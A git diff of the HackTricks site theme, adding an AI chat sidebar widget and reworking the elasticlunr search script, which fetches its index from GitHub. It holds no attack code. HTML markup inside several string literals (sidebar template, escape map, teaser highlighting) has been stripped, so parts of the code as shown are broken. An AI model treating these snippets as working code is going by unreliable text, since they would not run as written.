`threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`; + } catch (e) { + console.error("Error creating threadId:", e); + alert("Failed to initialise the conversation. Please refresh and try again."); + throw e; + } + } + + /* ==================================================================== */ + function injectStyles() { + const css = ` + #ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s} + #ht-ai-btn:hover{opacity:.85} + @media(max-width:768px){#ht-ai-btn{display:none}} + #ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000} + #ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)} + #ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} + #ht-ai-panel.open{transform:translateX(0)} + @media(max-width:768px){#ht-ai-panel{display:none}} + #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} + #ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} + #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} + #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} + #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} + .ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word} + .ht-user{align-self:flex-end;background:${BRAND_RED}} + .ht-ai{align-self:flex-start;background:#222} + .ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px} + #ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333} + #ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px} + #ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer} + #ht-ai-send:disabled{opacity:.5;cursor:not-allowed} + /* Loader animation */ + .ht-loading{display:inline-flex;align-items:center;gap:4px} + .ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out} + .ht-loading span:nth-child(2){animation-delay:0.2s} + .ht-loading span:nth-child(3){animation-delay:0.4s} + @keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} } + ::selection{background:#ffeb3b;color:#000} + ::-moz-selection{background:#ffeb3b;color:#000}`; + const s = document.createElement("style"); + s.id = "ht-ai-style"; + s.textContent = css; + document.head.appendChild(s); + } + + function createFloatingButton() { + const d = document.createElement("div"); + d.id = "ht-ai-btn"; + d.textContent = "🤖"; + document.body.appendChild(d); + return d; + } + + function createTooltip(btn) { + const t = document.createElement("div"); + t.id = "ht-ai-tooltip"; + t.textContent = TOOLTIP_TEXT; + document.body.appendChild(t); + btn.addEventListener("mouseenter", () => { + const r = btn.getBoundingClientRect(); + t.style.left = `${r.left + r.width / 2}px`; + t.style.top = `${r.top}px`; + t.classList.add("show"); + }); + btn.addEventListener("mouseleave", () => t.classList.remove("show")); + } + + function createSidebar() { + const p = document.createElement("div"); + p.id = "ht-ai-panel"; + p.innerHTML = ` +
HackTricks AI Chat +
+ + +
+
+
+
+ + +
`; + document.body.appendChild(p); + return p; + } +})(); diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index f2b4de026..f3dc65c1f 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -1,524 +1,554 @@ -"use strict"; -window.search = window.search || {}; -(function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; - } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} +/* ──────────────────────────────────────────────────────────────── + Polyfill so requestIdleCallback works everywhere (IE 11/Safari) + ─────────────────────────────────────────────────────────────── */ + if (typeof window.requestIdleCallback !== "function") { + window.requestIdleCallback = function (cb) { + const start = Date.now(); + return setTimeout(function () { + cb({ + didTimeout: false, + timeRemaining: function () { + return Math.max(0, 50 - (Date.now() - start)); } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); + }, 1); + }; + window.cancelIdleCallback = window.clearTimeout; } - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } + + /* ──────────────────────────────────────────────────────────────── + search.js + ─────────────────────────────────────────────────────────────── */ - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); + "use strict"; + window.search = window.search || {}; + (function search(search) { + // Search functionality + // + // You can use !hasFocus() to prevent keyhandling in your key + // event handlers while the user is typing their search. + + if (!Mark || !elasticlunr) { + return; } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude + + //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith + if (!String.prototype.startsWith) { + String.prototype.startsWith = function(search, pos) { + return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; + }; + } + + var search_wrap = document.getElementById('search-wrapper'), + search_modal = document.getElementById('search-modal'), + searchbar = document.getElementById('searchbar'), + searchbar_outer = document.getElementById('searchbar-outer'), + searchresults = document.getElementById('searchresults'), + searchresults_outer = document.getElementById('searchresults-outer'), + searchresults_header = document.getElementById('searchresults-header'), + searchicon = document.getElementById('search-toggle'), + content = document.getElementById('content'), + + searchindex = null, + doc_urls = [], + results_options = { + teaser_word_count: 30, + limit_results: 30, + }, + search_options = { + bool: "AND", + expand: true, + fields: { + title: {boost: 1}, + body: {boost: 1}, + breadcrumbs: {boost: 0} + } + }, + mark_exclude = [], + marker = new Mark(content), + current_searchterm = "", + URL_SEARCH_PARAM = 'search', + URL_MARK_PARAM = 'highlight', + teaser_count = 0, + + SEARCH_HOTKEY_KEYCODE = 83, + ESCAPE_KEYCODE = 27, + DOWN_KEYCODE = 40, + UP_KEYCODE = 38, + SELECT_KEYCODE = 13; + + function hasFocus() { + return searchbar === document.activeElement; + } + + function removeChildren(elem) { + while (elem.firstChild) { + elem.removeChild(elem.firstChild); + } + } + + // Helper to parse a url into its building blocks. + function parseURL(url) { + var a = document.createElement('a'); + a.href = url; + return { + source: url, + protocol: a.protocol.replace(':',''), + host: a.hostname, + port: a.port, + params: (function(){ + var ret = {}; + var seg = a.search.replace(/^\?/,'').split('&'); + var len = seg.length, i = 0, s; + for (;i': '>', + '"': '"', + "'": ''' + }; + var repl = function(c) { return MAP[c]; }; + return function(s) { + return s.replace(/[&<>'"]/g, repl); + }; + })(); + + function formatSearchMetric(count, searchterm) { + if (count == 1) { + return count + " search result for '" + searchterm + "':"; + } else if (count == 0) { + return "No search results for '" + searchterm + "'."; + } else { + return count + " search results for '" + searchterm + "':"; + } + } + + function formatSearchResult(result, searchterms) { + var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); + teaser_count++; + + // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor + var url = doc_urls[result.ref].split("#"); + if (url.length == 1) { // no anchor found + url.push(""); + } + + // encodeURIComponent escapes all chars that could allow an XSS except + // for '. Due to that we also manually replace ' with its url-encoded + // representation (%27). + var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); + + return '' + result.doc.breadcrumbs + + '' + + teaser + '' + ''; + } + + function makeTeaser(body, searchterms) { + // The strategy is as follows: + // First, assign a value to each word in the document: + // Words that correspond to search terms (stemmer aware): 40 + // Normal words: 2 + // First word in a sentence: 8 + // Then use a sliding window with a constant number of words and count the + // sum of the values of the words within the window. Then use the window that got the + // maximum sum. If there are multiple maximas, then get the last one. + // Enclose the terms in . + var stemmed_searchterms = searchterms.map(function(w) { + return elasticlunr.stemmer(w.toLowerCase()); }); - - var markers = document.querySelectorAll("mark"); - function hide() { + var searchterm_weight = 40; + var weighted = []; // contains elements of ["word", weight, index_in_document] + // split in sentences, then words + var sentences = body.toLowerCase().split('. '); + var index = 0; + var value = 0; + var searchterm_found = false; + for (var sentenceindex in sentences) { + var words = sentences[sentenceindex].split(' '); + value = 8; + for (var wordindex in words) { + var word = words[wordindex]; + if (word.length > 0) { + for (var searchtermindex in stemmed_searchterms) { + if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { + value = searchterm_weight; + searchterm_found = true; + } + }; + weighted.push([word, value, index]); + value = 2; + } + index += word.length; + index += 1; // ' ' or '.' if last word in sentence + }; + index += 1; // because we split at a two-char boundary '. ' + }; + + if (weighted.length == 0) { + return body; + } + + var window_weight = []; + var window_size = Math.min(weighted.length, results_options.teaser_word_count); + + var cur_sum = 0; + for (var wordindex = 0; wordindex < window_size; wordindex++) { + cur_sum += weighted[wordindex][1]; + }; + window_weight.push(cur_sum); + for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { + cur_sum -= weighted[wordindex][1]; + cur_sum += weighted[wordindex + window_size][1]; + window_weight.push(cur_sum); + }; + + if (searchterm_found) { + var max_sum = 0; + var max_sum_window_index = 0; + // backwards + for (var i = window_weight.length - 1; i >= 0; i--) { + if (window_weight[i] > max_sum) { + max_sum = window_weight[i]; + max_sum_window_index = i; + } + }; + } else { + max_sum_window_index = 0; + } + + // add around searchterms + var teaser_split = []; + var index = weighted[max_sum_window_index][2]; + for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { + var word = weighted[i]; + if (index < word[2]) { + // missing text from index to start of `word` + teaser_split.push(body.substring(index, word[2])); + index = word[2]; + } + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + index = word[2] + word[0].length; + teaser_split.push(body.substring(word[2], index)); + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + }; + + return teaser_split.join(''); + } + + function init(config) { + results_options = config.results_options; + search_options = config.search_options; + searchbar_outer = config.searchbar_outer; + doc_urls = config.doc_urls; + searchindex = elasticlunr.Index.load(config.index); + + // Set up events + searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); + searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); + document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); + // If the user uses the browser buttons, do the same as if a reload happened + window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; + // Suppress "submit" events so the page doesn't reload when the user presses Enter + document.addEventListener('submit', function(e) { e.preventDefault(); }, false); + + // If reloaded, do the search or mark again, depending on the current url parameters + doSearchOrMarkFromUrl(); + } + + function unfocusSearchbar() { + // hacky, but just focusing a div only works once + var tmp = document.createElement('input'); + tmp.setAttribute('style', 'position: absolute; opacity: 0;'); + searchicon.appendChild(tmp); + tmp.focus(); + tmp.remove(); + } + + // On reload or browser history backwards/forwards events, parse the url and do search or mark + function doSearchOrMarkFromUrl() { + // Check current URL for search request + var url = parseURL(window.location.href); + if (url.params.hasOwnProperty(URL_SEARCH_PARAM) + && url.params[URL_SEARCH_PARAM] != "") { + showSearch(true); + searchbar.value = decodeURIComponent( + (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); + searchbarKeyUpHandler(); // -> doSearch() + } else { + showSearch(false); + } + + if (url.params.hasOwnProperty(URL_MARK_PARAM)) { + var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); + marker.mark(words, { + exclude: mark_exclude + }); + + var markers = document.querySelectorAll("mark"); + function hide() { + for (var i = 0; i < markers.length; i++) { + markers[i].classList.add("fade-out"); + window.setTimeout(function(e) { marker.unmark(); }, 300); + } + } for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); + markers[i].addEventListener('click', hide); } } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } } - } + + // Eventhandler for keyevents on `document` + function globalKeyHandler(e) { + if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { + if (e.keyCode === ESCAPE_KEYCODE) { + e.preventDefault(); + searchbar.classList.remove("active"); + setSearchUrlParameters("", + (searchbar.value.trim() !== "") ? "push" : "replace"); + if (hasFocus()) { + unfocusSearchbar(); + } + showSearch(false); + marker.unmark(); + } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { + e.preventDefault(); + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { + e.preventDefault(); unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { + searchresults.firstElementChild.classList.add("focus"); + } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE + || e.keyCode === UP_KEYCODE + || e.keyCode === SELECT_KEYCODE)) { + // not `:focus` because browser does annoying scrolling + var focused = searchresults.querySelector("li.focus"); + if (!focused) return; + e.preventDefault(); + if (e.keyCode === DOWN_KEYCODE) { + var next = focused.nextElementSibling; + if (next) { + focused.classList.remove("focus"); + next.classList.add("focus"); + } + } else if (e.keyCode === UP_KEYCODE) { focused.classList.remove("focus"); - next.classList.add("focus"); + var prev = focused.previousElementSibling; + if (prev) { + prev.classList.add("focus"); + } else { + searchbar.select(); + } + } else { // SELECT_KEYCODE + window.location.assign(focused.querySelector('a')); } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); } } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); + + function showSearch(yes) { + if (yes) { + search_wrap.classList.remove('hidden'); + searchicon.setAttribute('aria-expanded', 'true'); + } else { + search_wrap.classList.add('hidden'); + searchicon.setAttribute('aria-expanded', 'false'); + var results = searchresults.children; + for (var i = 0; i < results.length; i++) { + results[i].classList.remove("focus"); + } } } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); + function showResults(yes) { + if (yes) { + searchresults_outer.classList.remove('hidden'); + } else { + searchresults_outer.classList.add('hidden'); + } + } + + // Eventhandler for search icon + function searchIconClickHandler() { + if (search_wrap.classList.contains('hidden')) { + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else { + showSearch(false); + } + } + + // Eventhandler for keyevents while the searchbar is focused + function searchbarKeyUpHandler() { + var searchterm = searchbar.value.trim(); + if (searchterm != "") { + searchbar.classList.add("active"); + doSearch(searchterm); + } else { + searchbar.classList.remove("active"); + showResults(false); + removeChildren(searchresults); + } + + setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); + + // Remove marks + marker.unmark(); + } + + // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . + // `action` can be one of "push", "replace", "push_if_new_search_else_replace" + // and replaces or pushes a new browser history item. + // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. + function setSearchUrlParameters(searchterm, action) { + var url = parseURL(window.location.href); + var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); + if (searchterm != "" || action == "push_if_new_search_else_replace") { + url.params[URL_SEARCH_PARAM] = searchterm; + delete url.params[URL_MARK_PARAM]; + url.hash = ""; + } else { + delete url.params[URL_MARK_PARAM]; + delete url.params[URL_SEARCH_PARAM]; + } + // A new search will also add a new history item, so the user can go back + // to the page prior to searching. A updated search term will only replace + // the url. + if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { + history.pushState({}, document.title, renderURL(url)); + } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { + history.replaceState({}, document.title, renderURL(url)); + } + } + + function doSearch(searchterm) { + + // Don't search the same twice + if (current_searchterm == searchterm) { return; } + else { current_searchterm = searchterm; } + + if (searchindex == null) { return; } + + // Do the actual search + var results = searchindex.search(searchterm, search_options); + var resultcount = Math.min(results.length, results_options.limit_results); + + // Display search metrics + searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); + + // Clear and insert results + var searchterms = searchterm.split(' '); removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } + for(var i = 0; i < resultcount ; i++){ + var resultElem = document.createElement('li'); + resultElem.innerHTML = formatSearchResult(results[i], searchterms); + searchresults.appendChild(resultElem); + } - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; + // Display results + showResults(true); } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 5_000; - - /* helper: inject a